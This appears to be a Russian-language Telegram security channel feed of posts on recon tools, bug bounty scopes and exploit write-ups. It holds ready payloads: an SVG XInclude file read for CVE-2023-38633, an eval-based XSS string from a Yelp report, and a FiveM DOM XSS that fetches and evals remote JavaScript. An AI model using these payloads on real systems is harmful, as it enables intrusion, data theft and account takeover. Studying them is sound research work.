Cybred
9.78K subscribers
402 photos
35 videos
100 files
611 links
Download Telegram
https://github.com/hahwul/noir

Attack Surface Detector утилита для составления поверхности атаки на основе сканирования исходного кода.

Умеет:
определять язык и фреймворк, на которых написано приложение
находить все эндпоинты, параметры, методы, заголовки и веб-страницы на основе анализа исходников
экспортировать результаты для импорта в Owasp ZAP, BurpSuite, Caido.

Поддерживает фреймворки на Java, Javascript, Ruby и Python: Echo, Gin, Django, Flask, Rails, Sinatra, Spring, Kemal, Express.
https://github.com/arkadiyt/bounty-targets-data

Репозиторий со всеми скоупами с Bug Bounty площадок:
Bugcrowd
Hackerone
Intigriti
YesWeHack
Hackenproof
Federacy

Использую сам, чтобы запускать регулярные сканы. Данные в json, обновляются каждые полчаса.
https://www.canva.dev/blog/engineering/when-url-parsers-disagree-cve-2023-38633/

PoC для CVE-2023-38633. Если удалось обнаружить, что сайт разрешает загрузку SVG-файлов, стоит попробовать проэксплуатировать недавно найденную CVE в пакете librsvg.

Из-за особенностей обработки строк с символами "#" и "?", парсеры считают безопасным пэйлоад .?../../../../../../../etc/passwd, а в полученном SVG возвращается содержимое указанного /etc/passwd.

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg width="300" height="300" xmlns:xi="http://www.w3.org/2001/XInclude">
<rect width="300" height="300" style="fill:rgb(255,204,204);" />
<text x="0" y="100">
<xi:include href=".?../../../../../../../etc/passwd" parse="text" encoding="ASCII">
<xi:fallback>file not found</xi:fallback>
</xi:include>
</text>
</svg>

Работает до версии 2.56.3.
https://github.com/johnnykv/heralding/

Sometimes you just want a simple honeypot that collects credentials, nothing more. Heralding is that honeypot!

Currently the following protocols are supported: ftp, telnet, ssh, http, https, pop3, pop3s, imap, imaps, smtp, vnc, postgresql and socks5.
https://www.sonarsource.com/blog/code-vulnerabilities-leak-emails-in-proton-mail/

Пятничное чтиво про сложные XSS в приватных почтовых сервисах Proton Mail, Skiff и Tutanota.

Описали пока только Proton Mail и цепочка выглядит так:
1. Обман Dom Purify, благодаря неправильному контексту с помощью тега <style> и тем, как он санитизирует его в HTML и SVG, а также последующей обработкой.
2. Побег из Sandbox Iframe из-за атрибута allow-scripts, который "эксклюзивно" отображался для браузера Safari.
3. Обход CSP с крутой эксфильтрацией через blob и cross-fade() из CSS.

Все это приводит к тому, что, отправив сообщение жертве, атакующий может:
прочитать ее электронные письма расшифрованном виде
отправить электронные письма от её имени
украсть криптографические ключи.
API Security Academy by Escape.tech

API Security Academy это бесплатная коллекция интерактивных заданий, которые научат вас атаковать и защищать приложения, использующие GraphQL.

Академия предоставляет подробные уроки, из которых вы узнаете о различных уязвимостях и передовых методах обеспечения защиты GraphQL.

Каждый урок предоставляет работающее веб-приложение с GraphQL, поэтому вы не только поймете, почему уязвимость опасна, но и как ее использовать и, самое главное, как ее исправить.

Уже сейчас есть можно пройти:
Prevent Mutation Brute-Force Attacks
Implement Object-Level Authorization
Disable Debug Mode for Production
Combat SQL Injections
Limit Query Complexity
Implement Field-Level Authorization
Configure HTTP Headers for User Protection
Validate JSON Inputs

Скоро появятся:
Mitigate Server Side Request Forgery
Implement Rate-Limiting for Bot Deterrence
Abort Expensive Queries for Protection

На старте был отдан приоритет GraphQL, но разработчики обещают и другие типы API.
Unchained Skies: A Deep Dive into Reverse Engineering and Exploitation of Drones

Спутники тут.
CVE-2023-34040 Spring Kafka Deserialization Remote Code Execution

In Spring for Apache Kafka 3.0.9 and earlier and versions 2.9.10 and earlier, a possible deserialization attack vector existed. An attacker would have to construct a malicious serialized object in one of the deserialization exception record headers.

PoC
https://hackerone.com/reports/2089042

От Self XSS до Account Takeover на сервисе Yelp с использованием Cookie Bomb (первый раз вижу, чтобы ее использовали таким способом) и эксфильтрацией HttpOnly куки через Cookie Bridge (механизм, чтобы шарить сессию между доменами одного и того же сервиса).

Связка красивая. Пэйлоад из репорта, с которого удалось раскрутить всю цепочку
"<iframe/onload=eval(atob(location.hash.substring(1)))>"@calc.sh
указывать в качестве адреса электронной почты при регистрации где угодно.
Hacking GTA V RP Servers Using Web Exploitation Techniques

FiveM - клиент для GTA 5, позволяющий убрать ограничения в виде отсутствия модификаций, которые раньше можно было установить только в сингл-плеер и молиться, чтобы случайно не запустить онлайн и не "словить" бан. Пришла новая эра, эра без привязки к серверам Social Club, эра без донатов и несуразных ограничений, эра, где старый-добрый онлайн заиграет новыми красками.

Мод для FiveM называется ресурсом. Серверная часть ресурсов пишется на LUA, клиентская — на Javascript. А любые кастомные окна рендерятся с помощью NUI — HTML-based интерфейса, который использует под собой Chromium Embedded Framework (CEF).

Все ресурсы открывается на одной странице в CEF (каждый — в своем Iframe). Автор нашел мод rcore_radiocar, который позволяет включить любой трек с Youtube и транслировать его игрокам поблизости (как будто они слышат музыку из проезжающей машины).

В rcore_radiocar нашлась классическая DOM XSS с помощью JQuery и метода append, который использовался, чтобы добавить указанный URL (в данном случае, ссылки на Youtube с треком) в DOM-дерево (напомню, никакой изоляции между ресурсами нет).

Достаточно было указать в качестве URL
<img src="#" onerror='fetch(`https://[redacted].com/payload.js`).then(res=>res.text().then(r=>eval(r)))' style="display:none" />
а в самом пэйлоаде — подключение к вебсокету, чтобы принимать коннекты от других игроков и отправлять им свои команды.

А дальше - играться с остальными ресурсами, которые установлены у подключившихся к сокету. Например, отправить от имени другого игрока сообщение в чат, повысить себе привилегии или переслать себе всю чужую валюту.
Начиная с Android 14, Google немного решили закрутить гайки и вместо привычного /system/etc/security/cacerts, все CA сертификаты будут загружаться из неизменяемого контейнера /apex/com.android.conscrypt/cacerts.

Это значит, что монтировать /system/ на RW и класть туда сертификаты, как это можно было делать в старых версиях Android, теперь бесполезно, а в новый каталог — невозможно.

Поэтому, если вы захотите перехватывать трафик на новых устройствах, придется следовать другому алгоритму:
1. Монтируем tmpfs в любую директорию (я буду использовать старую /system/) и закидываем туда сертификаты из APEX
mount -t tmpfs tmpfs /system/etc/security/cacerts
mv /apex/com.android.conscrypt/cacerts/* /system/etc/security/cacerts/
не забывая в конце туда же положить сертификат Portswigger или любой другой.
2. Используем nsenter, чтобы забиндить каждый новый процесс и заставить его ссылаться на нашу директорию в качестве APEX-контейнера
nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- \
/bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts

Zygote порождает приложения, а мы его один раз перенастраиваем на использование новых неймспейсов, где в качестве неизменяемой директории APEX, — наша новая директория, которую мы можем редактировать.

для уже запущенных можно сделать так
nsenter --mount=/proc/$APP_PID/ns/mnt -- \
/bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts

Вуаля, теперь можно заворачивать и снифать трафик, как и раньше. Чтобы не мучиться каждый раз с вводом команд и поиском нужных PID, прикладываю готовый скрипт с комментариями.